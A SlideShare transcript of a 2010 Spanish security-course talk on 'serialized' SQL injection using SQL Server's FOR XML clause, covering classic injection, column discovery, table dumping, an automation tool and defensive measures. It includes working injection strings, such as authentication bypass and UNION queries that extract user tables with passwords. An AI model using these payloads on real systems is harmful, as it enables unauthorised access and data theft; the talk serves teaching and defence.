SlideShare una empresa de Scribd logo
1 de 36
Descargar para leer sin conexión
SFX-SQLi
      SELECT FOR XML SQL INJECTION / SERIALIZED SQL INJECTION



Extracción rápida de información utilizando
   inyección SQL con instrucciones XML



                     Daniel Kachakil
     III Curso de Verano de Seguridad Informática (UEM)
                    06/07/2010 – Valencia
Contenido

 ¿Qué es la inyección SQL?
   Técnicas de inyección SQL clásicas
 Serialización y la cláusula FOR XML
   Obtención de columnas y tipos
   Ajuste de la inyección
 Ejemplos y demos




                                         2
SQL injection
¿Qué es la inyección SQL?

 Vulnerabilidad de aplicaciones informáticas
 Su origen está en el filtrado incorrecto o inexistente de
  los parámetros de entrada a la BD
 Graves consecuencias: Cualquiera puede inyectar
  instrucciones SQL que terminan siendo ejecutadas por
  el motor de base de datos




                                                              4
¿Qué es la inyección SQL?




 Pero no es exclusiva de aplicaciones web

                                            5
Ataques a la seguridad

 Integridad: Borrado o corrupción de datos
   UPDATE, DELETE, INSERT, DROP, ...
 Disponibilidad: Denegación de servicio
   SHUTDOWN, consultas complejas, exploits, ...
 Confidencialidad: Acceso a datos privados
   Bypass de autenticación (' or '1'='1)
   A ciegas (Blind SQL injection)
   A través de mensajes de error
   Anexando otros conjuntos de datos



                                                   6
Inyección SQL básica

         Usuario:      ' or '1'='1

         Contraseña:   ' or '1'='1




"SELECT * FROM Usuarios WHERE
 nombre='" + usuario + "' AND pass='"
 + contraseña + "'"




                                        7
Inyección SQL básica

 "SELECT * FROM Usuarios WHERE
  nombre='' or '1'='1' AND
  pass='' or '1'='1'"
 La condición WHERE siempre es cierta
   Devuelve toda la tabla de usuarios
   El primer registro suele coincidir con el del administrador

                              Usuarios
                 nombre          pass        esAdmin
                  admin     P4$$_C0mPlej0!      Sí
                 usuario1      password1        No
                 usuario2      password2        No

                                                                  8
Inyección SQL a ciegas

 Booleanización: más eficiente con búsqueda binaria
   EXISTS (SELECT … WHERE n < 128)  V
   EXISTS (SELECT … WHERE n < 64)  V
   EXISTS (SELECT … WHERE n < 32)  F
   EXISTS (SELECT … WHERE n < 48)  V
   EXISTS (SELECT … WHERE n < 40)  F
   EXISTS (SELECT … WHERE n < 44)  F
   EXISTS (SELECT … WHERE n < 46)  F
   EXISTS (SELECT … WHERE n < 47)  V
   Conclusión: n=46


                                                       9
Ejemplo: Absinthe




                    10
Inyección SQL basada en errores

 "SELECT * FROM Acceso WHERE
 usuario='' having 1=1--' AND
 pass='x'"




                                       11
Inyección SQL basada en errores

 "SELECT * FROM Acceso WHERE
 usuario='' AND convert(int,
 system_user)>0--' AND pass='x'"




                                       12
Inyección SQL anexando datos

 "SELECT id, asunto, fecha FROM Notas
 WHERE year(fecha)=2010 UNION SELECT
 0, login+'/'+pass, null FROM Users"

                            Notas
          id            asunto              fecha
          1     Día festivo (año nuevo)   01-01-2010
          2      Empiezan las rebajas     07-01-2010
          ...             ...                 ...
          0       admin/P4$$w0rd!           NULL
          0       user1/password1           NULL


                                                       13
La cláusula FOR XML
FOR XML (MS SQL Server 2005/2008)

 "SELECT * FROM Numeros"
                 Numero          Nombre
                    1              Uno
                    2              Dos
                    3              Tres
                    4             Cuatro

 "SELECT * FROM Numeros FOR XML RAW"
          XML_F52E2B61-18A1-11d1-B105-00805F49916B
        <row Numero="1" Nombre="Uno" /><row Numero="2"
      Nombre="Dos" /><row Numero="3" Nombre="Tres" /><row
                Numero="4" Nombre="Cuatro" />


                                                            15
Anexando una tabla en un campo

 "SELECT asunto FROM Notas WHERE id=1
 AND 1=0 UNION SELECT(SELECT * FROM
 Users FOR XML RAW)"

                               asunto
                       Día festivo (año nuevo)
      <row login="admin" pass="P4$$w0rd!" /><row login="user1"
                        pass="password1" />




                                                                 16
Sintaxis de FOR XML
FOR XML {
  { RAW [ ( 'ElementName' ) ] | AUTO }
  [
     <CommonDirectives>
     [ , { XMLDATA | XMLSCHEMA [ ( 'TargetNameSpaceURI' ) ] } ]
     [ , ELEMENTS [ XSINIL | ABSENT ]
  ] | EXPLICIT … | PATH …
}

<CommonDirectives> ::=
[ , BINARY BASE64 ]
[ , TYPE ]
[ , ROOT [ ( 'RootName' ) ] ]
                                                                  17
Obtención del número
    de columnas
GROUP BY / HAVING 1=1

 HAVING 1=1
   Error (cuyo texto revela el nombre de la primera columna)
 GROUP BY columna1 HAVING 1=1
   Error con el nombre de la segunda columna
 GROUP BY columna1, columna2 HAVING 1=1
   Error con el nombre de la tercera columna
 ...
 GROUP BY columna1, columna2, columna3, … ,
  columnaN HAVING 1=1
   Sin errores
                                                                19
ORDER BY N

 ORDER BY 1
   Sin errores
 ORDER BY 2
   Sin errores
 ...
 ORDER BY N
   Sin errores
 ORDER BY N+1
   Falla (Ante el primer fallo probar más valores por si se tratara
    de un campo no ordenable. Ej: de tipo binary/varbinary)
                                                                       20
UNION NULL

 UNION SELECT null WHERE 0=1
   Falla
 UNION SELECT null, null WHERE 0=1
   Falla
 UNION SELECT null, null, null WHERE 0=1
   Falla
 ...
 UNION SELECT null, null, null, null, … , null WHERE 0=1
   Sin errores


                                                        21
Obtención del tipo
    de datos
Obtención del tipo de datos

 Basta con encontrar una columna de tipo texto
   char, varchar, nvarchar, ...
 Si muestra errores:
   CAST(), CONVERT()
 En otro caso:
   UNION SELECT null, null, 'a', null, null, ... [WHERE 1=0]




                                                                23
Juntando las piezas
Extracción serializando datos

 … AND 1=0 UNION SELECT v1, v2, … , (SELECT * FROM
 Tabla FOR XML RAW, BINARY BASE64), … , vN
                                Notas
       id                     asunto                    fecha
               <row login="admin" pass="P4$$w0rd!" />
      null                                              null
               <row login="user1" pass="password1" />




                                                                25
Segmentación de datos
Cuándo es necesario segmentar

 La técnica podría fallar por timeouts en tablas con
  muchos datos (registros, BLOBs, etc.)
   Timeout en la transmisión de datos (por ejemplo, en IIS)
   Timeout al ejecutar la consulta (en SQL Server)
 Solución clásica: "divide y vencerás"
   Aplicar la técnica en subconjuntos menores
   Combinar todos los resultados




                                                               27
Timeout en la transmisión de datos

 Convertir el XML en una cadena de texto y trocearla
   SUBSTRING (texto, desde, longitud)
   Muy fácil de implementar
   Requiere que la consulta se ejecute por completo
 "SELECT SUBSTRING(CONVERT(
 nvarchar(MAX), (SELECT * FROM Numeros
 FOR XML RAW)), 1, 25)"
           <row Numero="1" Nombre="Uno" /><row Numero="2"
         Nombre="Dos" /><row Numero="3" Nombre="Tres" /><row
                   Numero="4" Nombre="Cuatro" />


                                                               28
Timeout al ejecutar la consulta

 Numerar las filas y seleccionar un subconjunto
   ROW_NUMBER() OVER (ORDER BY columna)
   En SQL Server no hay cláusula LIMIT (presente en MySQL)
   Requiere saber el nombre de una columna (no acepta índices)
 "SELECT * FROM (SELECT ROW_NUMBER()
 OVER (ORDER BY Numero) As N, * FROM
 Numeros) As T WHERE N>=1 AND N<4"
           <row Numero="1" Nombre="Uno" /><row Numero="2"
         Nombre="Dos" /><row Numero="3" Nombre="Tres" /><row
                   Numero="4" Nombre="Cuatro" />


                                                                  29
SFX-SQLi Tool
SFX-SQLi Tool 1.0

 Capaz de extraer tablas completas con una sola petición
   Inyecciones GET y POST. SSL, cookies, proxy, etc.
 Si las tablas son muy grandes, las puede segmentar
 Implementa todas las técnicas descritas antes
    Ayuda al descubrimiento de columnas y tipos
    Deshace la codificación HTML automáticamente
 Log de todo lo que inyecta y de las respuestas
   Visualización en explorador integrado y código fuente




                                                            31
Novedades en SFX-SQLi Tool 1.1

 Acceso completo a otras bases de datos del mismo
  servidor a través de la master
 Ejecución de consultas personalizadas
 Ajustes de configuración avanzada
 Pequeñas mejoras y correcciones




                                                     32
Medidas de protección
Medidas de protección

 Las de siempre: filtrar todas las entradas al gestor de
 bases de datos
   Forzando la conversión de tipos para entradas numéricas
   Filtrando o escapando los caracteres peligrosos para las
    cadenas de texto (comilla simple)
   Siempre hacerlo en el servidor en última instancia (no confiar
    en JavaScript, Flash, Silverlight, etc)




                                                                     34
Medidas de protección

 Utilizar los mecanismos de protección de la plataforma
 en la que estemos desarrollando
   Consultas SQL parametrizadas, filtros predefinidos, etc.
 Aplicar el principio de menor privilegio
   Limita las consecuencias ante un ataque exitoso
 No dar información detallada sobre los errores
   “Contraseña incorrecta para el usuario usuario”
   “Error al conectar con la base de datos mibasededatos”
   Response.Write(ex.ToString()) en bloques Try - Catch



                                                               35
¡Muchas gracias!




      Daniel Kachakil
    dani@kachakil.com

Más contenido relacionado

La actualidad más candente

Curso SQL-C# Basico
Curso SQL-C# BasicoCurso SQL-C# Basico
Curso SQL-C# BasicoserTI_MX
 
Modulo de programacion sql unidad II
Modulo de programacion sql   unidad IIModulo de programacion sql   unidad II
Modulo de programacion sql unidad IIfiremas
 
Taller de MySQL (DDL)
Taller de MySQL (DDL)Taller de MySQL (DDL)
Taller de MySQL (DDL)mgpc
 
Sesión02 - Creación de objetos (Oracle)
Sesión02 - Creación de objetos (Oracle)Sesión02 - Creación de objetos (Oracle)
Sesión02 - Creación de objetos (Oracle)José Toro
 
Ejercicios en Netbeans
Ejercicios en NetbeansEjercicios en Netbeans
Ejercicios en Netbeansedgar muñoz
 
Manual basico de_oracle
Manual basico de_oracleManual basico de_oracle
Manual basico de_oracleelena
 
Gustavo php
Gustavo phpGustavo php
Gustavo phpGustavo
 
Trucos en excel avanzado
Trucos en excel avanzadoTrucos en excel avanzado
Trucos en excel avanzadoAndreamcdonald
 
Diseño de compiladores: Un vistazo a Ceylon-JS
Diseño de compiladores: Un vistazo a Ceylon-JSDiseño de compiladores: Un vistazo a Ceylon-JS
Diseño de compiladores: Un vistazo a Ceylon-JSEnrique Zamudio López
 
Utilizando DDL SQL oracle Z051 Cap 11
Utilizando DDL SQL oracle Z051 Cap 11Utilizando DDL SQL oracle Z051 Cap 11
Utilizando DDL SQL oracle Z051 Cap 11Alexander Calderón
 
Yupa cesar bdii_t7
Yupa cesar bdii_t7Yupa cesar bdii_t7
Yupa cesar bdii_t7Cesar Yupa
 
Sesion06c - Sentencias SQL en PL-SQL (Oracle)
Sesion06c - Sentencias SQL en PL-SQL (Oracle)Sesion06c - Sentencias SQL en PL-SQL (Oracle)
Sesion06c - Sentencias SQL en PL-SQL (Oracle)José Toro
 

La actualidad más candente (19)

Curso SQL-C# Basico
Curso SQL-C# BasicoCurso SQL-C# Basico
Curso SQL-C# Basico
 
Bdii 09 ddl_new
Bdii 09 ddl_newBdii 09 ddl_new
Bdii 09 ddl_new
 
Modulo de programacion sql unidad II
Modulo de programacion sql   unidad IIModulo de programacion sql   unidad II
Modulo de programacion sql unidad II
 
Taller de MySQL (DDL)
Taller de MySQL (DDL)Taller de MySQL (DDL)
Taller de MySQL (DDL)
 
Mysql
MysqlMysql
Mysql
 
Sentencias create
Sentencias createSentencias create
Sentencias create
 
Sesión02 - Creación de objetos (Oracle)
Sesión02 - Creación de objetos (Oracle)Sesión02 - Creación de objetos (Oracle)
Sesión02 - Creación de objetos (Oracle)
 
Vistas
VistasVistas
Vistas
 
Ejercicios en Netbeans
Ejercicios en NetbeansEjercicios en Netbeans
Ejercicios en Netbeans
 
Consultas sql
Consultas sqlConsultas sql
Consultas sql
 
Manual basico de_oracle
Manual basico de_oracleManual basico de_oracle
Manual basico de_oracle
 
Gustavo php
Gustavo phpGustavo php
Gustavo php
 
Trucos en excel avanzado
Trucos en excel avanzadoTrucos en excel avanzado
Trucos en excel avanzado
 
Diseño de compiladores: Un vistazo a Ceylon-JS
Diseño de compiladores: Un vistazo a Ceylon-JSDiseño de compiladores: Un vistazo a Ceylon-JS
Diseño de compiladores: Un vistazo a Ceylon-JS
 
Utilizando DDL SQL oracle Z051 Cap 11
Utilizando DDL SQL oracle Z051 Cap 11Utilizando DDL SQL oracle Z051 Cap 11
Utilizando DDL SQL oracle Z051 Cap 11
 
Yupa cesar bdii_t7
Yupa cesar bdii_t7Yupa cesar bdii_t7
Yupa cesar bdii_t7
 
Manual tecnico
Manual tecnicoManual tecnico
Manual tecnico
 
Sesion06c - Sentencias SQL en PL-SQL (Oracle)
Sesion06c - Sentencias SQL en PL-SQL (Oracle)Sesion06c - Sentencias SQL en PL-SQL (Oracle)
Sesion06c - Sentencias SQL en PL-SQL (Oracle)
 
Parte 08 my sql
Parte 08 my sqlParte 08 my sql
Parte 08 my sql
 

Similar a (In) seguridad web

Asegúr@IT 7: Serialized SQL Injection
Asegúr@IT 7: Serialized SQL InjectionAsegúr@IT 7: Serialized SQL Injection
Asegúr@IT 7: Serialized SQL InjectionChema Alonso
 
Material Clase BDD: Diseño de una Base de Datos
Material Clase BDD: Diseño de una Base de DatosMaterial Clase BDD: Diseño de una Base de Datos
Material Clase BDD: Diseño de una Base de Datosliras loca
 
Mejores prácticas desarrollo de base de datos
Mejores prácticas desarrollo de base de datos Mejores prácticas desarrollo de base de datos
Mejores prácticas desarrollo de base de datos Eduardo Castro
 
Inyecciones sql para todos
Inyecciones sql para todosInyecciones sql para todos
Inyecciones sql para todoscsaralg
 
Hacking ético en aplicaciones web [SQL Injection]
Hacking ético en aplicaciones web [SQL Injection]Hacking ético en aplicaciones web [SQL Injection]
Hacking ético en aplicaciones web [SQL Injection]Eduardo Arriols Nuñez
 
Sql server express edition 2012 libro
Sql server express edition 2012 libroSql server express edition 2012 libro
Sql server express edition 2012 libroOsmar Zaragoza
 
Charla OWASP
Charla OWASPCharla OWASP
Charla OWASPalexav8
 
XQuery y XPath for SQL Server 2012 itpros dc_chapter6
XQuery y XPath for SQL Server 2012 itpros dc_chapter6XQuery y XPath for SQL Server 2012 itpros dc_chapter6
XQuery y XPath for SQL Server 2012 itpros dc_chapter6Julián Castiblanco
 
SolidQ Summit 2018 - Todo lo que un integrador de datos debería tener... y pa...
SolidQ Summit 2018 - Todo lo que un integrador de datos debería tener... y pa...SolidQ Summit 2018 - Todo lo que un integrador de datos debería tener... y pa...
SolidQ Summit 2018 - Todo lo que un integrador de datos debería tener... y pa...SolidQ
 
Inserción, eliminación y modificación de Registros II.
Inserción, eliminación y modificación de Registros II.Inserción, eliminación y modificación de Registros II.
Inserción, eliminación y modificación de Registros II.Juan Anaya
 
F:\basesdatos teo2 sistemas_db
F:\basesdatos teo2 sistemas_dbF:\basesdatos teo2 sistemas_db
F:\basesdatos teo2 sistemas_dbsuperinfopoderosas
 
Sesion05 - Manipulacion de datos (Oracle)
Sesion05 - Manipulacion de datos (Oracle)Sesion05 - Manipulacion de datos (Oracle)
Sesion05 - Manipulacion de datos (Oracle)José Toro
 

Similar a (In) seguridad web (20)

Asegúr@IT 7: Serialized SQL Injection
Asegúr@IT 7: Serialized SQL InjectionAsegúr@IT 7: Serialized SQL Injection
Asegúr@IT 7: Serialized SQL Injection
 
Mysql
MysqlMysql
Mysql
 
Material Clase BDD: Diseño de una Base de Datos
Material Clase BDD: Diseño de una Base de DatosMaterial Clase BDD: Diseño de una Base de Datos
Material Clase BDD: Diseño de una Base de Datos
 
Mejores prácticas desarrollo de base de datos
Mejores prácticas desarrollo de base de datos Mejores prácticas desarrollo de base de datos
Mejores prácticas desarrollo de base de datos
 
Tema 3.2 SQL.ppt
Tema 3.2 SQL.pptTema 3.2 SQL.ppt
Tema 3.2 SQL.ppt
 
Tema 3.2 SQL.ppt
Tema 3.2 SQL.pptTema 3.2 SQL.ppt
Tema 3.2 SQL.ppt
 
Sentencias
SentenciasSentencias
Sentencias
 
Inyecciones sql para todos
Inyecciones sql para todosInyecciones sql para todos
Inyecciones sql para todos
 
Hacking ético en aplicaciones web [SQL Injection]
Hacking ético en aplicaciones web [SQL Injection]Hacking ético en aplicaciones web [SQL Injection]
Hacking ético en aplicaciones web [SQL Injection]
 
Fundamentos sql server2
Fundamentos sql server2Fundamentos sql server2
Fundamentos sql server2
 
Sql server express edition 2012 libro
Sql server express edition 2012 libroSql server express edition 2012 libro
Sql server express edition 2012 libro
 
Introduccion al sql query
Introduccion al sql queryIntroduccion al sql query
Introduccion al sql query
 
Charla OWASP
Charla OWASPCharla OWASP
Charla OWASP
 
XQuery y XPath for SQL Server 2012 itpros dc_chapter6
XQuery y XPath for SQL Server 2012 itpros dc_chapter6XQuery y XPath for SQL Server 2012 itpros dc_chapter6
XQuery y XPath for SQL Server 2012 itpros dc_chapter6
 
SolidQ Summit 2018 - Todo lo que un integrador de datos debería tener... y pa...
SolidQ Summit 2018 - Todo lo que un integrador de datos debería tener... y pa...SolidQ Summit 2018 - Todo lo que un integrador de datos debería tener... y pa...
SolidQ Summit 2018 - Todo lo que un integrador de datos debería tener... y pa...
 
Tutorial sql server
Tutorial sql serverTutorial sql server
Tutorial sql server
 
Inserción, eliminación y modificación de Registros II.
Inserción, eliminación y modificación de Registros II.Inserción, eliminación y modificación de Registros II.
Inserción, eliminación y modificación de Registros II.
 
F:\basesdatos teo2 sistemas_db
F:\basesdatos teo2 sistemas_dbF:\basesdatos teo2 sistemas_db
F:\basesdatos teo2 sistemas_db
 
Sesion05 - Manipulacion de datos (Oracle)
Sesion05 - Manipulacion de datos (Oracle)Sesion05 - Manipulacion de datos (Oracle)
Sesion05 - Manipulacion de datos (Oracle)
 
Tema 4 5_1_acceso_datos
Tema 4 5_1_acceso_datosTema 4 5_1_acceso_datos
Tema 4 5_1_acceso_datos
 

Más de Eventos Creativos

La informática se creó en las calles: Microhistorias de Apple y Microsoft
La informática se creó en las calles: Microhistorias de Apple y MicrosoftLa informática se creó en las calles: Microhistorias de Apple y Microsoft
La informática se creó en las calles: Microhistorias de Apple y MicrosoftEventos Creativos
 
Pentesting con metasploit framework
Pentesting con metasploit frameworkPentesting con metasploit framework
Pentesting con metasploit frameworkEventos Creativos
 
Despliegue empresarial de smartphones mdm
Despliegue empresarial de smartphones   mdmDespliegue empresarial de smartphones   mdm
Despliegue empresarial de smartphones mdmEventos Creativos
 
Atacando iphone a través de wireless y javascript botnet
Atacando iphone a través de wireless y javascript botnetAtacando iphone a través de wireless y javascript botnet
Atacando iphone a través de wireless y javascript botnetEventos Creativos
 
Ataque a redes de datos IPv6 con Evil Foca
Ataque a redes de datos IPv6 con Evil FocaAtaque a redes de datos IPv6 con Evil Foca
Ataque a redes de datos IPv6 con Evil FocaEventos Creativos
 
Análisis forense de dispositivos android 03
Análisis forense de dispositivos android 03Análisis forense de dispositivos android 03
Análisis forense de dispositivos android 03Eventos Creativos
 
Análisis forense de dispositivos android 02
Análisis forense de dispositivos android 02Análisis forense de dispositivos android 02
Análisis forense de dispositivos android 02Eventos Creativos
 
Análisis forense de dispositivos android 01
Análisis forense de dispositivos android 01Análisis forense de dispositivos android 01
Análisis forense de dispositivos android 01Eventos Creativos
 
Análisis forense de dispositivos ios
Análisis forense de dispositivos iosAnálisis forense de dispositivos ios
Análisis forense de dispositivos iosEventos Creativos
 
Arquitectura, aplicaciones y seguridad en ios
Arquitectura, aplicaciones y seguridad en iosArquitectura, aplicaciones y seguridad en ios
Arquitectura, aplicaciones y seguridad en iosEventos Creativos
 
Jailbreak y rooting más allá de los límites del dispositivo
Jailbreak y rooting más allá de los límites del dispositivoJailbreak y rooting más allá de los límites del dispositivo
Jailbreak y rooting más allá de los límites del dispositivoEventos Creativos
 
I os en el entorno corporativo
I os en el entorno corporativoI os en el entorno corporativo
I os en el entorno corporativoEventos Creativos
 
Análisis forense de tarjetas sim, smartcards, etc
Análisis forense de tarjetas sim, smartcards, etcAnálisis forense de tarjetas sim, smartcards, etc
Análisis forense de tarjetas sim, smartcards, etcEventos Creativos
 
Firma digital y biométrica en dispositivos móviles
Firma digital y biométrica en dispositivos móvilesFirma digital y biométrica en dispositivos móviles
Firma digital y biométrica en dispositivos móvilesEventos Creativos
 
Fraude en tecnológias móviles
Fraude en tecnológias móvilesFraude en tecnológias móviles
Fraude en tecnológias móvilesEventos Creativos
 

Más de Eventos Creativos (20)

La informática se creó en las calles: Microhistorias de Apple y Microsoft
La informática se creó en las calles: Microhistorias de Apple y MicrosoftLa informática se creó en las calles: Microhistorias de Apple y Microsoft
La informática se creó en las calles: Microhistorias de Apple y Microsoft
 
Windows server 2012 para it
Windows server 2012 para itWindows server 2012 para it
Windows server 2012 para it
 
Pentesting con metasploit framework
Pentesting con metasploit frameworkPentesting con metasploit framework
Pentesting con metasploit framework
 
Malware en android
Malware en androidMalware en android
Malware en android
 
Despliegue empresarial de smartphones mdm
Despliegue empresarial de smartphones   mdmDespliegue empresarial de smartphones   mdm
Despliegue empresarial de smartphones mdm
 
Atacando iphone a través de wireless y javascript botnet
Atacando iphone a través de wireless y javascript botnetAtacando iphone a través de wireless y javascript botnet
Atacando iphone a través de wireless y javascript botnet
 
Ataque a redes de datos IPv6 con Evil Foca
Ataque a redes de datos IPv6 con Evil FocaAtaque a redes de datos IPv6 con Evil Foca
Ataque a redes de datos IPv6 con Evil Foca
 
Windows 8
Windows 8Windows 8
Windows 8
 
Análisis forense de dispositivos android 03
Análisis forense de dispositivos android 03Análisis forense de dispositivos android 03
Análisis forense de dispositivos android 03
 
Análisis forense de dispositivos android 02
Análisis forense de dispositivos android 02Análisis forense de dispositivos android 02
Análisis forense de dispositivos android 02
 
Análisis forense de dispositivos android 01
Análisis forense de dispositivos android 01Análisis forense de dispositivos android 01
Análisis forense de dispositivos android 01
 
Análisis forense de dispositivos ios
Análisis forense de dispositivos iosAnálisis forense de dispositivos ios
Análisis forense de dispositivos ios
 
Arquitectura, aplicaciones y seguridad en ios
Arquitectura, aplicaciones y seguridad en iosArquitectura, aplicaciones y seguridad en ios
Arquitectura, aplicaciones y seguridad en ios
 
Jailbreak y rooting más allá de los límites del dispositivo
Jailbreak y rooting más allá de los límites del dispositivoJailbreak y rooting más allá de los límites del dispositivo
Jailbreak y rooting más allá de los límites del dispositivo
 
I os en el entorno corporativo
I os en el entorno corporativoI os en el entorno corporativo
I os en el entorno corporativo
 
Análisis forense de tarjetas sim, smartcards, etc
Análisis forense de tarjetas sim, smartcards, etcAnálisis forense de tarjetas sim, smartcards, etc
Análisis forense de tarjetas sim, smartcards, etc
 
Lo que las apps esconden
Lo que las apps escondenLo que las apps esconden
Lo que las apps esconden
 
Firma digital y biométrica en dispositivos móviles
Firma digital y biométrica en dispositivos móvilesFirma digital y biométrica en dispositivos móviles
Firma digital y biométrica en dispositivos móviles
 
Nfc en móviles
Nfc en móvilesNfc en móviles
Nfc en móviles
 
Fraude en tecnológias móviles
Fraude en tecnológias móvilesFraude en tecnológias móviles
Fraude en tecnológias móviles
 

Último

CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE  DE TECNOLOGIA E INFORMATICA PRIMARIACLASE  DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIAWilbisVega
 
International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)GDGSucre
 
KELA Presentacion Costa Rica 2024 - evento Protégeles
KELA Presentacion Costa Rica 2024 - evento ProtégelesKELA Presentacion Costa Rica 2024 - evento Protégeles
KELA Presentacion Costa Rica 2024 - evento ProtégelesFundación YOD YOD
 
Herramientas de corte de alta velocidad.pptx
Herramientas de corte de alta velocidad.pptxHerramientas de corte de alta velocidad.pptx
Herramientas de corte de alta velocidad.pptxRogerPrieto3
 
Proyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptxProyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptx241521559
 
trabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdftrabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdfIsabellaMontaomurill
 
9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudianteAndreaHuertas24
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveFagnerLisboa3
 
Presentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptxPresentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptxLolaBunny11
 
guía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Josephguía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan JosephBRAYANJOSEPHPEREZGOM
 
Trabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíaTrabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíassuserf18419
 
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricGlobal Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricKeyla Dolores Méndez
 
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...silviayucra2
 
Redes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfRedes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfsoporteupcology
 
pruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITpruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITMaricarmen Sánchez Ruiz
 

Último (15)

CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE  DE TECNOLOGIA E INFORMATICA PRIMARIACLASE  DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
 
International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)
 
KELA Presentacion Costa Rica 2024 - evento Protégeles
KELA Presentacion Costa Rica 2024 - evento ProtégelesKELA Presentacion Costa Rica 2024 - evento Protégeles
KELA Presentacion Costa Rica 2024 - evento Protégeles
 
Herramientas de corte de alta velocidad.pptx
Herramientas de corte de alta velocidad.pptxHerramientas de corte de alta velocidad.pptx
Herramientas de corte de alta velocidad.pptx
 
Proyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptxProyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptx
 
trabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdftrabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdf
 
9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial Uninove
 
Presentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptxPresentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptx
 
guía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Josephguía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Joseph
 
Trabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíaTrabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnología
 
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricGlobal Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
 
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
 
Redes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfRedes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdf
 
pruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITpruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNIT
 

(In) seguridad web

  • 1. SFX-SQLi SELECT FOR XML SQL INJECTION / SERIALIZED SQL INJECTION Extracción rápida de información utilizando inyección SQL con instrucciones XML Daniel Kachakil III Curso de Verano de Seguridad Informática (UEM) 06/07/2010 – Valencia
  • 2. Contenido  ¿Qué es la inyección SQL?  Técnicas de inyección SQL clásicas  Serialización y la cláusula FOR XML  Obtención de columnas y tipos  Ajuste de la inyección  Ejemplos y demos 2
  • 4. ¿Qué es la inyección SQL?  Vulnerabilidad de aplicaciones informáticas  Su origen está en el filtrado incorrecto o inexistente de los parámetros de entrada a la BD  Graves consecuencias: Cualquiera puede inyectar instrucciones SQL que terminan siendo ejecutadas por el motor de base de datos 4
  • 5. ¿Qué es la inyección SQL? Pero no es exclusiva de aplicaciones web 5
